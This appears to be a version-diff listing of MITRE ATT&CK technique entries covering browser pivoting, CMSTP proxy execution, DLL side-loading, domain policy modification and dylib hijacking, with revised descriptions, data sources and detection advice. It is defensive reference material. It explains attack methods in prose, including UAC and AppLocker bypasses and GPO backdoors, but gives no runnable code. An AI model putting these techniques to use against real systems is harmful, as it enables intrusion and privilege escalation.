A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.
Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual) |
| external_references[4]['url'] | https://cobaltstrike.com/downloads/csmanual38.pdf | https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Access |
| x_mitre_data_sources[1] | Packet capture | Process: Process Modification |
| x_mitre_data_sources[2] | Process monitoring | Logon Session: Logon Session Creation |
| x_mitre_detection | This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications | This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious | t | 1 | Adversaries may abuse CMSTP to proxy execution of malicious |
| > | code. The Microsoft Connection Manager Profile Installer (CM | > | code. The Microsoft Connection Manager Profile Installer (CM | ||
| > | STP.exe) is a command-line program used to install Connectio | > | STP.exe) is a command-line program used to install Connectio | ||
| > | n Manager service profiles. (Citation: Microsoft Connection | > | n Manager service profiles. (Citation: Microsoft Connection | ||
| > | Manager Oct 2009) CMSTP.exe accepts an installation informat | > | Manager Oct 2009) CMSTP.exe accepts an installation informat | ||
| > | ion file (INF) as a parameter and installs a service profile | > | ion file (INF) as a parameter and installs a service profile | ||
| > | leveraged for remote access connections. Adversaries may s | > | leveraged for remote access connections. Adversaries may s | ||
| > | upply CMSTP.exe with INF files infected with malicious comma | > | upply CMSTP.exe with INF files infected with malicious comma | ||
| > | nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re | > | nds. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Re | ||
| > | gsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Sq | > | gsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Sq | ||
| > | uiblydoo”, CMSTP.exe may be abused to load and execute DLLs | > | uiblydoo”, CMSTP.exe may be abused to load and execute DLLs | ||
| > | (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( | > | (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets ( | ||
| > | SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) | > | SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) | ||
| > | (Citation: GitHub Ultimate AppLocker Bypass List) (Citation | > | (Citation: GitHub Ultimate AppLocker Bypass List) (Citation | ||
| > | : Endurant CMSTP July 2018) This execution may also bypass A | > | : Endurant CMSTP July 2018) This execution may also bypass A | ||
| > | ppLocker and other application control defenses since CMSTP. | > | ppLocker and other application control defenses since CMSTP. | ||
| > | exe is a legitimate, signed Microsoft application. CMSTP.ex | > | exe is a legitimate binary that may be signed by Microsoft. | ||
| > | e can also be abused to [Bypass User Account Control](https: | > | CMSTP.exe can also be abused to [Bypass User Account Contro | ||
| > | //attack.mitre.org/techniques/T1548/002) and execute arbitra | > | l](https://attack.mitre.org/techniques/T1548/002) and execut | ||
| > | ry commands from a malicious INF through an auto-elevated CO | > | e arbitrary commands from a malicious INF through an auto-el | ||
| > | M interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: | > | evated COM interface. (Citation: MSitPros CMSTP Aug 2017) (C | ||
| > | GitHub Ultimate AppLocker Bypass List) (Citation: Endurant C | > | itation: GitHub Ultimate AppLocker Bypass List) (Citation: E | ||
| > | MSTP July 2018) | > | ndurant CMSTP July 2018) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:34:03.247000+00:00 | 2022-03-11 18:38:36.109000+00:00 |
| description | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) | Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) |
| x_mitre_data_sources[0] | Windows event logs | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process use of network | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:32:24.589000+00:00 | 2022-03-11 18:59:36.836000+00:00 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:37:11.672000+00:00 | 2022-03-11 19:01:55.821000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Windows Registry | File: File Creation |
| x_mitre_data_sources[3] | DLL monitoring | Process: OS API Execution |
| x_mitre_data_sources[4] | Binary file metadata | Command: Command Execution |
| x_mitre_data_sources[5] | API monitoring | Module: Module Load |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by side |
| > | cking the library manifest used to load DLLs. Adversaries ma | > | -loading DLLs. Similar to [DLL Search Order Hijacking](https | ||
| > | y take advantage of vague references in the library manifest | > | ://attack.mitre.org/techniques/T1574/001), side-loading invo | ||
| > | of a program by replacing a legitimate library with a malic | > | lves hijacking which DLL a program loads. But rather than ju | ||
| > | ious one, causing the operating system to load their malicio | > | st planting the DLL within the search order of a program the | ||
| > | us library when it is called for by the victim program. Pro | > | n waiting for the victim application to be invoked, adversar | ||
| > | grams may specify DLLs that are loaded at runtime. Programs | > | ies may directly side-load their payloads by planting then i | ||
| > | that improperly or vaguely specify a required DLL may be ope | > | nvoking a legitimate application that executes their payload | ||
| > | n to a vulnerability in which an unintended DLL is loaded. S | > | (s). Side-loading takes advantage of the DLL search order u | ||
| > | ide-loading vulnerabilities specifically occur when Windows | > | sed by the loader by positioning both the victim application | ||
| > | Side-by-Side (WinSxS) manifests (Citation: About Side by Sid | > | and malicious payload(s) alongside each other. Adversaries | ||
| > | e Assemblies) are not explicit enough about characteristics | > | likely use side-loading as a means of masking actions they p | ||
| > | of the DLL to be loaded. Adversaries may take advantage of a | > | erform under a legitimate, trusted, and potentially elevated | ||
| > | legitimate program that is vulnerable by replacing the legi | > | system or software process. Benign executables used to side | ||
| > | timate DLL with a malicious one. (Citation: FireEye DLL Sid | > | -load payloads may not be flagged during delivery and/or exe | ||
| > | e-Loading) Adversaries likely use this technique as a means | > | cution. Adversary payloads may also be encrypted/packed or o | ||
| > | of masking actions they perform under a legitimate, trusted | > | therwise obfuscated until loaded into the memory of the trus | ||
| > | system or software process. | > | ted process.(Citation: FireEye DLL Side-Loading) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020. | |
| external_references | CAPEC-641 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-641 | |
| external_references | Microsoft. (2018, May 31). About Side-by-Side Assemblies. Retrieved March 13, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:27.807000+00:00 | 2022-05-05 04:07:48.912000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program. Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading) Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process. | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) |
| external_references[1]['source_name'] | capec | FireEye DLL Side-Loading |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/641.html | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf |
| external_references[2]['source_name'] | About Side by Side Assemblies | capec |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies- | https://capec.mitre.org/data/definitions/641.html |
| x_mitre_data_sources[0] | Loaded DLLs | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process use of network | Module: Module Load |
| x_mitre_defense_bypassed[1] | Application control | Application Control |
| x_mitre_detection | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye DLL Side-Loading', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:16:48.125000+00:00 | 2021-04-20 20:10:26.613000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | File: File Modification |
| x_mitre_data_sources[1] | API monitoring | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | DLL monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify Group Policy Objects (GPOs) to subver | t | 1 | Adversaries may modify the configuration settings of a domai |
| > | t the intended discretionary access controls for a domain, u | > | n to evade defenses and/or escalate privileges in domain env | ||
| > | sually with the intention of escalating privileges on the do | > | ironments. Domains provide a centralized means of managing h | ||
| > | main. Group policy allows for centralized management of user | > | ow computer resources (ex: computers, user accounts) can act | ||
| > | and computer settings in Active Directory (AD). GPOs are co | > | , and interact with each other, on a network. The policy of | ||
| > | ntainers for group policy settings made up of files stored w | > | the domain also includes configuration settings that may app | ||
| > | ithin a predicable network path <code>\\<DOMAIN>\SYSVO | > | ly between domains in a multi-domain/forest environment. Mod | ||
| > | L\<DOMAIN>\Policies\</code>.(Citation: TechNet Group P | > | ifications to domain settings may include altering domain Gr | ||
| > | olicy Basics)(Citation: ADSecurity GPO Persistence 2016) L | > | oup Policy Objects (GPOs) or changing trust settings for dom | ||
| > | ike other objects in AD, GPOs have access controls associate | > | ains, including federation trusts. With sufficient permissi | ||
| > | d with them. By default all user accounts in the domain have | > | ons, adversaries can modify domain policy settings. Since do | ||
| > | permission to read GPOs. It is possible to delegate GPO acc | > | main configuration settings control many of the interactions | ||
| > | ess control permissions, e.g. write access, to specific user | > | within the Active Directory (AD) environment, there are a g | ||
| > | s or groups in the domain. Malicious GPO modifications can | > | reat number of potential attacks that can stem from this abu | ||
| > | be used to implement many other malicious behaviors such as | > | se. Examples of such abuse include modifying GPOs to push a | ||
| > | [Scheduled Task/Job](https://attack.mitre.org/techniques/T10 | > | malicious [Scheduled Task](https://attack.mitre.org/techniqu | ||
| > | 53), [Disable or Modify Tools](https://attack.mitre.org/tech | > | es/T1053/005) to computers throughout the domain environment | ||
| > | niques/T1562/001), [Ingress Tool Transfer](https://attack.mi | > | (Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 | ||
| > | tre.org/techniques/T1105), [Create Account](https://attack.m | > | Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or | ||
| > | itre.org/techniques/T1136), [Service Execution](https://atta | > | modifying domain trusts to include an adversary controlled | ||
| > | ck.mitre.org/techniques/T1035), and more.(Citation: ADSecur | > | domain where they can control access tokens that will subseq | ||
| > | ity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Cit | > | uently be accepted by victim domain resources.(Citation: Mic | ||
| > | ation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M | > | rosoft - Customer Guidance on Recent Nation-State Cyber Atta | ||
| > | Trends 2016)(Citation: Microsoft Hacking Team Breach) Since | > | cks) Adversaries can also change configuration settings with | ||
| > | GPOs can control so many user and machine settings in the A | > | in the AD environment to implement a [Rogue Domain Controlle | ||
| > | D environment, there are a great number of potential attacks | > | r](https://attack.mitre.org/techniques/T1207). Adversaries | ||
| > | that can stem from this GPO abuse.(Citation: Wald0 Guide to | > | may temporarily modify domain policy, carry out a malicious | ||
| > | GPOs) For example, publicly available scripts such as <cod | > | action(s), and then revert the change to remove suspicious i | ||
| > | e>New-GPOImmediateTask</code> can be leveraged to automate t | > | ndicators. | ||
| > | he creation of a malicious [Scheduled Task/Job](https://atta | ||||
| > | ck.mitre.org/techniques/T1053) by modifying GPO settings, in | ||||
| > | this case modifying <code><GPO_PATH>\Machine\Preferen | ||||
| > | ces\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald | ||||
| > | 0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) | ||||
| > | In some cases an adversary might modify specific user rights | ||||
| > | like SeEnableDelegationPrivilege, set in <code><GPO_PATH | ||||
| > | >\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code> | ||||
| > | , to achieve a subtle AD backdoor with complete control of t | ||||
| > | he domain because the user account under the adversary's con | ||||
| > | trol would then be able to modify GPOs.(Citation: Harmj0y Se | ||||
| > | EnableDelegationPrivilege Right) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Itamar Mizrahi, Cymptom', 'Tristan Bennett, Seamless Intelligence'] | |
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:17:41.231000+00:00 | 2021-02-09 15:52:24.598000+00:00 |
| name | Group Policy Modification | Domain Policy Modification |
| description | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
| Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. |
| external_references[1]['source_name'] | TechNet Group Policy Basics | ADSecurity GPO Persistence 2016 |
| external_references[1]['description'] | srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019. | Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019. |
| external_references[1]['url'] | https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ | https://adsecurity.org/?p=2716 |
| external_references[2]['source_name'] | ADSecurity GPO Persistence 2016 | Wald0 Guide to GPOs |
| external_references[2]['description'] | Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019. | Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. |
| external_references[2]['url'] | https://adsecurity.org/?p=2716 | https://wald0.com/?p=179 |
| external_references[3]['source_name'] | Wald0 Guide to GPOs | Harmj0y Abusing GPO Permissions |
| external_references[3]['description'] | Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. |
| external_references[3]['url'] | https://wald0.com/?p=179 | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ |
| external_references[4]['source_name'] | Harmj0y Abusing GPO Permissions | Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks |
| external_references[4]['description'] | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020. |
| external_references[4]['url'] | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ |
| external_references[5]['source_name'] | Mandiant M Trends 2016 | Microsoft - Azure Sentinel ADFSDomainTrustMods |
| external_references[5]['description'] | Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019. | Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. |
| external_references[5]['url'] | https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf | https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml |
| external_references[6]['source_name'] | Microsoft Hacking Team Breach | Microsoft 365 Defender Solorigate |
| external_references[6]['description'] | Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019. | Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021. |
| external_references[6]['url'] | https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/ | https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ |
| external_references[7]['source_name'] | Harmj0y SeEnableDelegationPrivilege Right | Sygnia Golden SAML |
| external_references[7]['description'] | Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019. | Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. |
| external_references[7]['url'] | http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ | https://www.sygnia.co/golden-saml-advisory |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_detection | It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created * Event ID 5138 - A directory service object was undeleted * Event ID 5139 - A directory service object was moved * Event ID 5141 - A directory service object was deleted GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). | It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'} | |
| external_references | {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'} | |
| x_mitre_data_sources | Active Directory: Active Directory Object Deletion | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | Active Directory: Active Directory Object Creation | |
| x_mitre_platforms | Azure AD |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own payloads by placing a mali |
| > | cking ambiguous paths used to load libraries. Adversaries m | > | cious dynamic library (dylib) with an expected name in a pat | ||
| > | ay plant trojan dynamic libraries, in a directory that will | > | h a victim application searches at runtime. The dynamic load | ||
| > | be searched by the operating system before the legitimate li | > | er will try to find the dylibs based on the sequential order | ||
| > | brary specified by the victim program, so that their malicio | > | of the search paths. Paths to dylibs may be prefixed with < | ||
| > | us library will be loaded into the victim program instead. | > | code>@rpath</code>, which allows developers to use relative | ||
| > | MacOS and OS X use a common method to look for required dyna | > | paths to specify an array of search paths used at runtime ba | ||
